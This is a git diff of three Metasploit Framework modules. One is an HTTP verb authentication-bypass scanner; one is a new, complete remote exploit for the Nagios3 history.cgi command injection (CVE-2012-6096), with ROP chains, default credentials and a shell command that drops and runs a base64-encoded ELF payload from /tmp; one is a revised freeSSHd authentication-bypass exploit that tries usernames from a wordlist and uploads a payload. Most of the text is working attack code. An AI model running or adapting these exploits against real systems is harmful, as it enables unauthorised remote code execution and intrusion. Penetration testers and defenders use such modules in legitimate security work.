diff --git a/modules/auxiliary/scanner/http/verb_auth_bypass.rb b/modules/auxiliary/scanner/http/verb_auth_bypass.rb index 94739be225..a91a2a02f5 100644 --- a/modules/auxiliary/scanner/http/verb_auth_bypass.rb +++ b/modules/auxiliary/scanner/http/verb_auth_bypass.rb @@ -8,7 +8,6 @@ require 'msf/core' - class Metasploit3 < Msf::Auxiliary # Exploit mixins should be called first @@ -21,13 +20,13 @@ class Metasploit3 < Msf::Auxiliary def initialize(info = {}) super(update_info(info, - 'Name' => 'HTTP Verb Authentication Bypass Scanner', - 'Description' => %q{ + 'Name' => 'HTTP Verb Authentication Bypass Scanner', + 'Description' => %q{ This module test for authentication bypass using different HTTP verbs. }, - 'Author' => [ 'et [at] metasploit.com' ], - 'License' => BSD_LICENSE)) + 'Author' => [ 'et [at] metasploit.com' ], + 'License' => BSD_LICENSE)) register_options( [ @@ -35,72 +34,70 @@ class Metasploit3 < Msf::Auxiliary ], self.class) end - # Fingerprint a single host def run_host(ip) - - verbs = [ - 'HEAD', - 'TRACE', - 'TRACK', - 'Wmap' - ] - - begin - res = send_request_raw({ - 'uri' => normalize_uri(datastore['PATH']), - 'method' => 'GET' - }, 10) - - if res - - auth_code = res.code - - if res.headers['WWW-Authenticate'] - print_status("#{ip} requires authentication: #{res.headers['WWW-Authenticate']} [#{auth_code}]") - - report_note( - :host => ip, - :proto => 'tcp', - :sname => (ssl ? 'https' : 'http'), - :port => rport, - :type => 'WWW_AUTHENTICATE', - :data => "#{datastore['PATH']} Realm: #{res.headers['WWW-Authenticate']}", - :update => :unique_data - ) - - verbs.each do |tv| - resauth = send_request_raw({ - 'uri' => normalize_uri(datastore['PATH']), - 'method' => tv - }, 10) - - if resauth - print_status("Testing verb #{tv} resp code: [#{resauth.code}]") - if resauth.code != auth_code and resauth.code <= 302 - print_status("Possible authentication bypass with verb #{tv} code #{resauth.code}") - - # Unable to use report_web_vuln as method is not in list of allowed methods. - - report_note( - :host => ip, - :proto => 'tcp', - :sname => (ssl ? 'https' : 'http'), - :port => rport, - :type => 'AUTH_BYPASS_VERB', - :data => "#{datastore['PATH']} Verb: #{tv}", - :update => :unique_data - ) - - end - end - end - else - print_status("[#{ip}] Authentication not required. #{datastore['PATH']} #{res.code}") - end - end + test_verbs(ip) rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout rescue ::Timeout::Error, ::Errno::EPIPE end end + + def test_verbs(ip) + verbs = [ 'HEAD', 'TRACE', 'TRACK', 'Wmap', 'get', 'trace' ] + + res = send_request_raw({ + 'uri' => normalize_uri(datastore['PATH']), + 'method' => 'GET' + }, 10) + + return if not res + + if not res.headers['WWW-Authenticate'] + print_status("[#{ip}] Authentication not required. #{datastore['PATH']} #{res.code}") + return + end + + auth_code = res.code + + print_status("#{ip} requires authentication: #{res.headers['WWW-Authenticate']} [#{auth_code}]") + + report_note( + :host => ip, + :proto => 'tcp', + :sname => (ssl ? 'https' : 'http'), + :port => rport, + :type => 'WWW_AUTHENTICATE', + :data => "#{datastore['PATH']} Realm: #{res.headers['WWW-Authenticate']}", + :update => :unique_data + ) + + verbs.each do |tv| + resauth = send_request_raw({ + 'uri' => normalize_uri(datastore['PATH']), + 'method' => tv + }, 10) + + next if not resauth + + print_status("Testing verb #{tv}, resp code: [#{resauth.code}]") + + if resauth.code != auth_code and resauth.code <= 302 + print_status("Possible authentication bypass with verb #{tv} code #{resauth.code}") + + # Unable to use report_web_vuln as method is not in list of allowed methods. + + report_note( + :host => ip, + :proto => 'tcp', + :sname => (ssl ? 'https' : 'http'), + :port => rport, + :type => 'AUTH_BYPASS_VERB', + :data => "#{datastore['PATH']} Verb: #{tv}", + :update => :unique_data + ) + end + end + end + end + diff --git a/modules/exploits/unix/webapp/nagios3_history_cgi.rb b/modules/exploits/unix/webapp/nagios3_history_cgi.rb new file mode 100644 index 0000000000..39b3e8fe28 --- /dev/null +++ b/modules/exploits/unix/webapp/nagios3_history_cgi.rb @@ -0,0 +1,254 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'rex' + +class Metasploit3 < Msf::Exploit::Remote + Rank = GreatRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::EXE + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Nagios3 history.cgi Host Command Execution', + 'Description' => %q{ + This module abuses a command injection vulnerability in the + Nagios3 history.cgi script. + }, + 'Author' => [ + 'Unknown ', # Original finding + 'blasty ', # First working exploit + 'Jose Selvi ', # Metasploit module + 'Daniele Martini ' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2012-6096' ], + [ 'OSVDB', '88322' ], + [ 'BID', '56879' ], + [ 'EDB', '24084' ], + [ 'URL', 'http://lists.grok.org.uk/pipermail/full-disclosure/2012-December/089125.html' ] + ], + 'Platform' => ['unix', 'linux'], + 'Arch' => [ ARCH_X86 ], + 'Privileged' => false, + 'Payload' => + { + 'Space' => 200, # Due to a system() parameter length limitation + 'BadChars' => '', # It'll be base64 encoded + }, + 'Targets' => + [ + [ 'Automatic Target', { 'auto' => true }], + # NOTE: All addresses are from the history.cgi binary + [ 'Appliance Nagios XI 2012R1.3 (CentOS 6.x)', + { + 'BannerRE' => 'Apache/2.2.15 (CentOS)', + 'VersionRE' => '3.4.1', + 'Arch' => ARCH_X86, + 'Offset' => 0xc43, + 'RopStack' => + [ + 0x0804c260, # unescape_cgi_input() + 0x08048f04, # pop, ret + 0x08079b60, # buffer addr + 0x08048bb0, # system() + 0x08048e70, # exit() + 0x08079b60 # buffer addr + ] + } + ], + [ 'Debian 5 (nagios3_3.0.6-4~lenny2_i386.deb)', + { + 'BannerRE' => 'Apache/2.2.9 (Debian)', + 'VersionRE' => '3.0.6', + 'Arch' => ARCH_X86, + 'Offset' => 0xc37, + 'RopStack' => + [ + 0x0804b620, # unescape_cgi_input() + 0x08048fe4, # pop, ret + 0x080727a0, # buffer addr + 0x08048c7c, # system() + 0xdeafbabe, # if should be exit() but it's not + 0x080727a0 # buffer addr + ] + } + ], + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Dec 09 2012')) + + register_options( + [ + OptString.new('TARGETURI', [true, "The full URI path to history.cgi", "/nagios3/cgi-bin/history.cgi"]), + OptString.new('USER', [false, "The username to authenticate with", "nagiosadmin"]), + OptString.new('PASS', [false, "The password to authenticate with", "nagiosadmin"]), + ], self.class) + end + + def detect_version(uri) + # Send request + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => uri, + 'headers' => { 'Authorization' => 'Basic ' + Rex::Text.encode_base64("#{datastore['USER']}:#{datastore['PASS']}") }, + }, 10) + + # Error handling + if res.nil? + print_error("Unable to get a response from the server") + return nil, nil + end + if(res.code == 401) + print_error("Please specify correct values for USER and PASS") + return nil, nil + end + if(res.code == 404) + print_error("Please specify the correct path to history.cgi in the URI parameter") + return nil, nil + end + + # Extract banner from response + banner = res.headers['Server'] + + # Extract version from body + version = nil + version_line = res.body.match(/Nagios® (Core™ )?[0-9.]+ -/) + if not version_line.nil? + version = version_line[0].match(/[0-9.]+/)[0] + end + + # Check in an alert exists + alert = res.body.match(/ALERT/) + + return version, banner, alert + end + + def select_target(version, banner) + + # No banner and version, no target + if banner.nil? or version.nil? + return nil + end + + # Get version information + print_status("Web Server banner: #{banner}") + print_status("Nagios version detected: #{version}") + + # Try regex for each target + self.targets.each do |t| + if t['BannerRE'].nil? or t['VersionRE'].nil? # It doesn't exist in Auto Target + next + end + regexp1 = Regexp.escape(t['BannerRE']) + regexp2 = Regexp.escape(t['VersionRE']) + if ( banner =~ /#{regexp1}/ and version =~ /#{regexp2}/ ) then + return t + end + end + # If not detected, return nil + return nil + end + + def check + print_status("Checking banner and version...") + # Detect version + banner, version, alert = detect_version(target_uri.path) + # Select target + mytarget = select_target(banner, version) + + if mytarget.nil? + print_error("No matching target") + return CheckCode::Unknown + end + + if alert.nil? + print_error("At least one ALERT is needed in order to exploit") + return CheckCode::Detected + end + + return CheckCode::Vulnerable + end + + def exploit + # Automatic Targeting + mytarget = nil + banner, version, alert = detect_version(target_uri.path) + if (target['auto']) + print_status("Automatically detecting the target...") + mytarget = select_target(banner, version) + if mytarget.nil? + fail_with(Exploit::Failure::NoTarget, "No matching target") + end + else + mytarget = target + end + + print_status("Selected Target: #{mytarget.name}") + if alert.nil? + print_error("At least one ALERT is needed in order to exploit, none found in the first page, trying anyway...") + end + print_status("Sending request to http://#{rhost}:#{rport}#{target_uri.path}") + + # Generate a payload ELF to execute + elfbin = generate_payload_exe + elfb64 = Rex::Text.encode_base64(elfbin) + + # Generate random filename + tempfile = '/tmp/' + rand_text_alphanumeric(10) + + # Generate command-line execution + if mytarget.name =~ /CentOS/ + cmd = "echo #{elfb64}|base64 -d|tee #{tempfile};chmod 700 #{tempfile};rm -rf #{tempfile}|#{tempfile};" + else + cmd = "echo #{elfb64}|base64 -d|tee #{tempfile} |chmod +x #{tempfile};#{tempfile};rm -f #{tempfile}" + end + host_value = cmd.gsub!(' ', '${IFS}') + + # Generate 'host' parameter value + padding_size = mytarget['Offset'] - host_value.length + host_value << rand_text_alphanumeric( padding_size ) + + # Generate ROP + host_value << mytarget['RopStack'].pack('V*') + + # Send exploit + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => target_uri.path, + 'headers' => { 'Authorization' => 'Basic ' + Rex::Text.encode_base64("#{datastore['USER']}:#{datastore['PASS']}") }, + 'vars_get' => + { + 'host' => host_value + } + }) + + if not res + if session_created? + print_status("Session created, enjoy!") + else + print_error("No response from the server") + end + return + end + + if res.code == 401 + fail_with(Exploit::Failure::NoAccess, "Please specify correct values for USER and PASS") + end + + if res.code == 404 + fail_with(Exploit::Failure::NotFound, "Please specify the correct path to history.cgi in the TARGETURI parameter") + end + + print_status("Unknown response #{res.code}") + end + +end diff --git a/modules/exploits/windows/ssh/freesshd_authbypass.rb b/modules/exploits/windows/ssh/freesshd_authbypass.rb index 1bf45ab16f..8d057a4a7f 100644 --- a/modules/exploits/windows/ssh/freesshd_authbypass.rb +++ b/modules/exploits/windows/ssh/freesshd_authbypass.rb @@ -1,6 +1,12 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## require 'msf/core' -require 'tempfile' + class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking @@ -42,9 +48,16 @@ class Metasploit3 < Msf::Exploit::Remote register_options( [ - OptInt.new('RPORT', [false, 'The target port', 22]), - OptString.new('USERNAMES',[true,'Space Separate list of usernames to try for ssh authentication','root admin Administrator']) + Opt::RPORT(22), + OptString.new('USERNAME', [false, 'A specific username to try']), + OptPath.new( + 'USER_FILE', + [ true, "File containing usernames, one per line", + # Defaults to unix_users.txt, because this is the closest one we can try + File.join(Msf::Config.data_directory, "wordlists", "unix_users.txt") ] + ) ], self.class) + end def load_netssh @@ -60,9 +73,9 @@ class Metasploit3 < Msf::Exploit::Remote connect banner = sock.recv(30) disconnect - if banner =~ /SSH-2.0-WeOnlyDo/ + if banner =~ /SSH\-2\.0\-WeOnlyDo/ version=banner.split(" ")[1] - return Exploit::CheckCode::Vulnerable if version =~ /(2.1.3|2.0.6)/ + return Exploit::CheckCode::Vulnerable if version =~ /(2\.1\.3|2\.0\.6)/ return Exploit::CheckCode::Appears end return Exploit::CheckCode::Safe @@ -85,9 +98,8 @@ class Metasploit3 < Msf::Exploit::Remote raise ArgumentError end cmds.each { |cmd| - ret = connection.exec!("cmd.exe /c "+cmd) + connection.exec!("cmd.exe /c "+cmd) } - end def setup_ssh_options @@ -103,7 +115,7 @@ class Metasploit3 < Msf::Exploit::Remote end def do_login(username,options) - print_status("Trying username "+username) + print_status("Trying username '#{username}'") options[:username]=username transport = Net::SSH::Transport::Session.new(datastore['RHOST'], options) @@ -114,15 +126,36 @@ class Metasploit3 < Msf::Exploit::Remote Timeout.timeout(10) do connection.exec!('cmd.exe /c echo') end - rescue RuntimeError + rescue RuntimeError return nil - rescue Timeout::Error + rescue Timeout::Error print_status("Timeout") return nil end return connection end + # + # Cannot use the auth_brute mixin, because if we do, a payload handler won't start. + # So we have to write our own each_user here. + # + def each_user(&block) + user_list = [] + if datastore['USERNAME'] and !datastore['USERNAME'].empty? + user_list << datastore['USERNAME'] + else + f = File.open(datastore['USER_FILE'], 'rb') + buf = f.read + f.close + + user_list = (user_list | buf.split).uniq + end + + user_list.each do |user| + block.call(user) + end + end + def exploit # # Load net/ssh so we can talk the SSH protocol @@ -133,21 +166,22 @@ class Metasploit3 < Msf::Exploit::Remote return end - options=setup_ssh_options + options = setup_ssh_options connection = nil - usernames=datastore['USERNAMES'].split(' ') - usernames.each { |username| + each_user do |username| + next if username.empty? connection=do_login(username,options) break if connection - } + end if connection - print_status("Uploading payload. (This step can take up to 5 minutes. But if you are here, it will probably work. Have faith.)") + print_status("Uploading payload, this may take several minutes...") upload_payload(connection) handler end end + end